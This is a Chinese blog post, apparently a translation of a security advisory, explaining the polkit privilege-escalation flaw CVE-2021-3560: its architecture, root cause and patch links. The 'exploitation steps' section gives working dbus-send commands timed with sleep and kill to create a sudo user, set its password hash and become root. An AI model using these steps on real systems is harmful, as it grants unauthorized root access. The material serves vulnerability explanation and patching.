Linux Polkit权限提升漏洞（CVE-2021-3560）

最新推荐文章于 2023-12-19 15:16:52 发布
最新推荐文章于 2023-12-19 15:16:52 发布
阅读量6.7k 收藏 20
点赞数 2
分类专栏： 安全漏洞 文章标签： ubuntu linux 网络安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42489549/article/details/117951624
版权

polkit是默认安装在许多 Linux 发行版上的系统服务。它由systemd 使用，因此任何使用 systemd 的 Linux 发行版也使用 polkit。该漏洞使无特权的本地用户能够获得系统上的 root shell。

关于polkit

当您看到如下所示的对话框时，polkit是在后台运行的系统服务：

它本质上扮演着法官的角色。如果你想做一些需要更高权限的事情——例如，创建一个新的用户帐户——那么决定是否允许你这样做是 polkit 的工作。对于某些请求，polkit 会立即做出允许或拒绝的决定，而对于其他请求，它会弹出一个对话框，以便管理员可以通过输入密码来授予授权。

该对话框可能给人的印象是 polkit 是一个图形系统，但它实际上是一个后台进程。该对话框被称为身份验证代理，它实际上只是一种将密码发送到 polkit 的机制。
在这里插入图片描述
pkexec是一个类似于 sudo的命令，它使您能够以 root 身份运行命令。如果您在图形会话中运行pkexec，它将弹出一个对话框，但如果您在文本模式会话（如 SSH）中运行它，则它会启动自己的文本模式身份验证代理：在这里插入图片描述
另一个可用于polkit从命令行触发的命令是dbus-send. 它是发送 D-Bus 消息的通用工具，主要用于测试，但通常默认安装在使用 D-Bus 的系统上。它可用于模拟图形界面可能发送的 D-Bus 消息。例如，这是创建新用户的命令：

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

如果您在图形会话中运行该命令，则会弹出一个身份验证对话框，但如果您在文本模式会话（如SSH ）中运行它，则会立即失败。这是因为，不同与 pkexec，dbus-send它不启动自己的身份验证代理。
在这里插入图片描述
在这里插入图片描述

利用步骤

该漏洞非常容易利用。它所需要的是仅使用标准工具，如在终端中的几个命令bash，kill和dbus-send。

证明漏洞取决于安装的两个软件包：accountsservice和gnome-control-center. 在 Ubuntu 桌面等图形系统上，这两个软件包通常默认安装。但是，如果您使用的是非图形 RHEL 服务器之类的东西，那么您可能需要安装它们，如下所示：

sudo yum install accountsservice gnome-control-center

当然，该漏洞与accountsservice或gnome-control-center没有任何特别关系。它们只是 polkit 客户端，恰好是利用的方便载体。PoC 依赖gnome-control-center和accountsservice。

为了避免重复触发身份验证对话框（这可能很烦人），我建议从 SSH 会话运行命令：

ssh localhost

该漏洞是通过启动dbus-send命令但在 polkit 仍在处理请求的过程中将其杀死而触发的。我认为理论上可以通过在适当的时候使用 Ctrl+C 来触发，但我从来没有成功过，所以我用少量的 bash 脚本来代替。首先，您需要测量dbus-send正常运行命令所需的时间：

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

输出如下所示
在这里插入图片描述

这对我来说花了 0.009秒，所以这意味着我需要dbus-send在大约0.004秒后终止命令：
在这里插入图片描述
您可能需要运行几次，并且可能需要试验延迟的毫秒数。当漏洞利用成功时，您将看到已创建一个名为boris的新用户

$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

请注意，boris是该sudo组的成员，因此您已经走上了全面提升权限的道路。接下来，您需要为新帐户设置密码。D-Bus 接口需要一个散列密码，您可以使用openssl以下方法创建：

$ openssl passwd -5 iaminvincible！
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

现在你只需要再次执行相同的技巧，除了这次调用SetPasswordD-Bus 方法：

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

同样，您可能需要试验延迟的长度并运行几次直到成功。另请注意，您需要粘贴正确的用户标识符 (UID)，在此示例中为“1002”，以及openssl命令中的密码哈希。

现在您可以以 boris 身份登录并成为 root：

su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

polkit架构

为了帮助解释该漏洞，下面是dbus-send命令期间涉及的五个主要进程的图表：
在这里插入图片描述

图中显示了 dbus-send 命令中涉及的五个进程：虚线上方的“dbus-send”和“Authentication Agent”，以及虚线下方的“accounts-daemon”和“polkit”，其中 dbus-daemon 作为中间人。

虚线上方的两个进程dbus-send和Authentication Agent是非特权用户进程。线下的那些是特权系统进程。中间是dbus-daemon，它处理所有的通信：其他四个进程通过发送 D-Bus 消息相互通信。

dbus-daemon在 polkit 的安全性中起着非常重要的作用，因为它使四个进程能够安全地通信并检查彼此的凭据。例如，当身份验证代理向 polkit 发送身份验证 cookie 时，它​​是通过将其发送到org.freedesktop.PolicyKit1D-Bus 地址来实现的。由于该地址仅允许由根进程注册，因此不存在非特权进程拦截消息的风险。dbus-daemon还为每个连接分配一个“唯一的总线名称：”通常类似于“：1.96”。它有点像进程标识符 (PID)，只是不容易受到PID 回收攻击。唯一的总线名称当前是从 64 位范围中选择的，因此不存在因名称被重用而导致漏洞的风险。

这是事件的顺序：

1、dbus-send要求accounts-daemon创建一个新用户。
2、accounts-daemon从 接收 D-Bus 消息dbus-send。该消息包括发送者的  唯一总线名称。让我们假设它是“:1.96”。此名称附加到消息中，dbus-daemon不能伪造。
3、accounts-daemon 询问 polkit 连接：1.96 是否被授权创建新用户。
4、polkit 要求dbus-daemon提供连接的 UID：1.96。
5、如果连接 :1.96 的 UID 为“0”，则 polkit 立即授权该请求。否则，它会向身份验证代理发送允许授权请求的管理员用户列表。
6、身份验证代理打开一个对话框以从用户那里获取密码。
7、身份验证代理将密码发送给 polkit。
8、polkit 将“是”回复发送回accounts-daemon.
9、accounts-daemon 创建新的用户帐户。

漏洞原理

为什么杀死dbus-send命令会导致身份验证绕过？该漏洞位于上面列出的事件序列的第四步。如果 polkit 要求dbus-daemon连接 :1.96 的 UID，但连接 :1.96 不再存在，会发生什么？dbus-daemon正确处理这种情况并返回错误。但事实证明 polkit 没有正确处理该错误。事实上，polkit 以一种特别不幸的方式错误处理了错误：它没有拒绝请求，而是将请求视为来自 UID 0 的进程。换句话说，它立即授权请求，因为它认为请求已经到来从根进程。

为什么漏洞的时间是不确定的？事实证明，polkitdbus-daemon在不同的代码路径上多次询问请求进程的 UID。这些代码路径中的大多数都能正确处理错误，但其中之一没有。如果您dbus-send提前终止命令，它将由正确的代码路径之一处理，并且请求将被拒绝。要触发易受攻击的代码路径，您必须在适当的时候断开连接。而且由于涉及多个过程，“正确时刻”的时间因一次运行而异。这就是为什么通常需要多次尝试才能成功利用的原因。我猜这也是之前没有发现该错误的原因。

结论

CVE-2021-3560 使无特权的本地攻击者能够获得 root 权限。它非常简单且易于利用，因此应该尽快更新 Linux 。任何安装了 polkit 0.113 版（或更高版本）的系统都容易受到攻击。这包括流行的发行版，例如 RHEL 8 和 Ubuntu 20.04。

修复建议

目前此漏洞已经修复，建议参考Linux各发行版本的官方通告及时升级更新:

RHEL 8：
https://access.redhat.com/security/cve/CVE-2021-3560

Fedora 21及更高版本：
https://bugzilla.redhat.com/show_bug.cgi?id=1967424

Debian testing (“bullseye”)：
https://security-tracker.debian.org/tracker/CVE-2021-3560

Ubuntu 20.04：
https://ubuntu.com/security/CVE-2021-3560

参考链接：https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

绘梨衣的sakura路
关注
  • 2
    点赞
  • 踩
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2021-3560 Linux Polkit 权限提升漏洞
做自己喜欢的事，并将其发挥到极致！
11-10 1623
Polkit是默认安装在很多Linux发行版上的系统服务，它由systemd使用，因此任何使用systemd的Linux发行版也使用Polkit。CVE-2021-3560漏洞存在于系统服务Polkit中，同时因为Polkit被Systemd所调用，因此所有默认安装了systemd的Linux发行版都会使用Polkit。该漏洞的成因是执行dbus-send命令后在认证完成前强制终止引发错误。而Polkit未正确处理错误而导致允许无特权的用户添加一个sudo用户进行权限提升。
linux系统polkit无法启动
热门推荐
qq_38402294的博客
11-17 1万+
polkit是linux系统中的一个身份认证管理工具 (Authorization Manager )，在启动一些服务时，有可能会遇到polkit不能正常启动运行的情况，会报出以下错误： 查看polkit的运行状态发现是failed: 此时发现polkit并没有处于正常的激活状态，由此可能会导致其他一些服务也不能正常启动。 首先可以尝试使用以下命令重装polkit再启动： yum reinstall polkit systemctl start polkit.service 运气好的话.
Centos7环境启动mongod报polkit服务启动失败
我的博客
02-05 5703
报错记录如下 [root@mongodb3 ~]# systemctl start mongod Authorization not available. Check if polkit service is running or see debug message for more information. Failed to start mongod.service: Connection ...
Linux攻击排查
YangLuxxx123
06-23 1235
入侵排查 1.2 历史命令 1.3 检查端口 1.4 检查异常进程 1.5 检查卡机启动项 运行级别 含义 0 关机 1 单用户模式，可以想象为windows的安全模式，主要用于系统修复 2 不完全的命令行模式，不含NFS服务 3 完全的命令行模式，就是标准字符界面 4 系统保留 5 图形模式 6 重启动 查看运行状态 入侵排查 1.6 检查定时任务 [linux下crontab与anacrontab的使用 ]crond 常用参数anacron 异步定时
转:变种挖矿蠕虫问题解决
weixin_30945039的博客
10-15 1206
前言 受限于缺乏针对 elf 文件的分析能力，对一些逻辑的跟踪仍有一定猜测成分，仅供参考。 正文 事情的起因 阿里云主机提供了一些恶意命令执行告警，定位到如下命令 #告警1 python-cimportbase64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQ...
Linux Polkit 权限提升漏洞（CVE-2021-4034）在 CentOS 6 系统上修复升级的 rpm 离线包
05-15
Linux Polkit 权限提升漏洞（CVE-2021-4034）在 CentOS 6 系统上修复升级的 rpm 离线包
Linux Polkit 权限提升漏洞（CVE-2021-4034）CentOS 7和Centos 6修复升级的 rpm 离线包
02-08
然而，2021年发现了一个名为CVE-2021-4034的重大漏洞，该漏洞允许任何本地攻击者无须认证即可获取系统管理员权限，对系统的安全性构成严重威胁。 **漏洞详解：** CVE-2021-4034，也被称为"Polkit Local Privilege ...
CVE-2021-4034 polkit本地权限提升[pkexec权限问题]
01-27
在 polkit 的 pkexec 中发现的一个权限提升漏洞（CVE-2021-4034 ，也称PwnKit)，它存在于所有主流的 Linux 发行版的默认配置中。 CentOS 7 polkit-0.112-26.el7_9.1.x86_64 不受影响。
Linux Polkit 权限提升漏洞（CVE-2021-4034）在 CentOS/RHEL 6 修复升级的 rpm 离线包
02-09
然而，2021年，一个名为CVE-2021-4034的重大漏洞被发现，该漏洞允许本地攻击者通过利用Polkit中的一个未授权的命令执行路径来获取root权限，无需任何认证。这个漏洞影响了包括CentOS和RHEL 6在内的多个Linux发行版，...
如何启动 polkit.service服务
最新发布
今夜不设防，让我们猎个痛快！
12-19 1009
要启动 PolicyKit (polkit) 服务在 Linux 系统上，你可以使用 `systemctl` 命令。以下是启动 polkit 服务的步骤：
polkit+dbus示例
06-09
polkitexamd.c: 提供一个dbus服务,有root权限 普通程序可以通过它作些root才能做的事---此例子为写文件 但是必须先要通过认证 org.polkit.example.conf: 名为org.polkit.example的bus的策略 org.polkit.example.policy 注册action_id及其策略 org.polkit.example.service: 说明bus和程序的关联 dbustest.py和dbustest-glib.c: 测试效果 测试: $make $make install $./dbustest.py ###向'/tmp/lll'添加内容:'Hi,peoples\n' $./dbustest-glib ###"/tmp/test_polkitexmd"添加内容:"Hello from dbustest-glib.c!\n" $ls /tmp/test_polkitexmd -l -rw-r--r-- 1 root root 699 3月 5 20:56 /tmp/test_polkitexmd 参考: http://m.cnblogs.com/54135/1488074.html?full=1 ---有些已过时,但我觉得还是有用的 http://www.pygtk.org/docs/pygobject/ http://www.kissuki.com/2009/03/%E6%AD%A3%E5%9C%A8%E5%AD%A6%E4%B9%A0-policykit-%EF%BC%81/ # 使用 PolicyKit 进行身份认证（上） # 使用 PolicyKit 进行身份认证（下） # 使用 PolicyKit 进行身份认证（中） ubuntu-tweak policykit-doc dbus-glib源码的example gnome-mplayer
polkit 重新安装_centos7.2中启动polkit服务启动失败
weixin_42298424的博客
12-24 1076
1. 错误表现在centos7.2系统中重启服务的时候报错：Error getting authority:Eroor initializing authority:Error calling StartServiceByName for org.freedesktop.PolicyKit1:Timeout was readhed(g-io-error-quark, 24)Failed to re...
polkit 重新安装_技术之centos7安装docker
weixin_39736007的博客
12-24 1244
前言前两年还是比较排除docker的，原因 1，一群所谓的大神老是吹捧docker拯救世界，烦不胜烦。docker对于中小公司来说的确十分鸡肋，有各种云还需要docker干什么。docker的技术，设计，架构要求高。中小公司很少有能可以搞定的，成本有点高实在没有那个精力搞docker对docker的思考并没有停止，也比较关注。目前在cpp的开发中，发现docker真是一个非常好的利器。docker...
Linux Polkit本地权限提升漏洞
qq_42947816的博客
02-05 615
近日，Qualys 安全团队发布安全公告称，在 Polkit 的 Pkexec 程序中发现了一个本地权限提升漏洞CVE-2021-4034
CentOS Linux 7.4中polkit服务启动失败
qq_42717172的博客
07-17 1万+
错误描述： 最近新装系统后，真机电脑需要安装ftp和chrony等软件，装包，修改配置文件后，启动服务时出现报错： Error getting authority:Eroor initializing authority:Error calling StartServiceByName for org.freedesktop.PolicyKit1:Timeout was readhed(g-i...
主机重启DBUS及POLKIT服务无法启动
zl
08-03 3349
需注意root的配置文件，尤其是库文件指向。安装Oracle只改oracle用户的，但是如果接监控或者别的需要在root下面配置oracle环境变量时，要添加LD_LIBRARY_PATH，此时一定要看好库指向，/usr/lib64优先而不是oracle的。...
[漏洞分析] CVE-2021-3560 PolKit条件竞争本地提权分析
Breeze的博客
01-31 1万+
过年不回家分析一下漏洞吧，从源码层面分析了一下CVE-2021-3560 PolKit 权限提升漏洞，
linux polkit权限提升漏洞
03-16
Linux polkit权限提升漏洞是指在Linux系统中，由于polkit（PolicyKit）授权机制的缺陷，攻击者可以利用漏洞提升权限，执行恶意操作。这种漏洞可能会导致系统被攻击者完全控制，造成严重的安全问题。为了避免这种漏洞的发生，需要及时更新系统补丁，加强系统安全配置，以及加强对系统的监控和管理。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值